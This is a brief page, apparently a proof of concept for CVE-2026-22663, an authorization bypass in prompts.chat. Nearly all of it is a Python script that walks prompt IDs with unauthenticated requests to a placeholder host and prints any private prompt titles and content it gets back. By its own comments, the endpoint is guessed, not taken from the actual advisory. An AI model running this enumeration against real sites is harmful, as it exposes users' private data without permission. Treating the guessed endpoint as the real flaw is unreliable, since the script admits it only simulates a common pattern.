CVE-2026-22663 prompts.chat授权绕过漏洞

import requests # Target base URL (Replace with actual target) target_base = "https://example.prompts.chat" # The vulnerable endpoint usually follows a pattern like /api/prompts/{id} or /api/prompts/{id}/versions # Since specific endpoint details aren't provided, we simulate a common pattern for this type of app. vulnerable_endpoint = "/api/prompts/{id}/details" headers = { "User-Agent": "CVE-2026-22663-Scanner/1.0", "Accept": "application/json" } print("[*] Starting authorization bypass test on prompts.chat...") # Iterate through potential prompt IDs for prompt_id in range(1, 50): url = target_base + vulnerable_endpoint.format(id=prompt_id) try: # Send request without authentication token to exploit the missing isPrivate check response = requests.get(url, headers=headers, timeout=5) if response.status_code == 200: data = response.json() # Check if data contains sensitive fields indicating a private prompt was accessed if 'title' in data and 'content' in data: print(f"[+] Vulnerability confirmed! Leaked data for ID {prompt_id}:") print(f" Title: {data.get('title')}") print(f" Content: {data.get('content')[:50]}...") elif response.status_code == 403: print(f"[-] Access denied for ID {prompt_id} (Patch applied or not vulnerable)") except requests.RequestException as e: print(f"[!] Error connecting to {url}: {e}") print("[*] Scan complete.")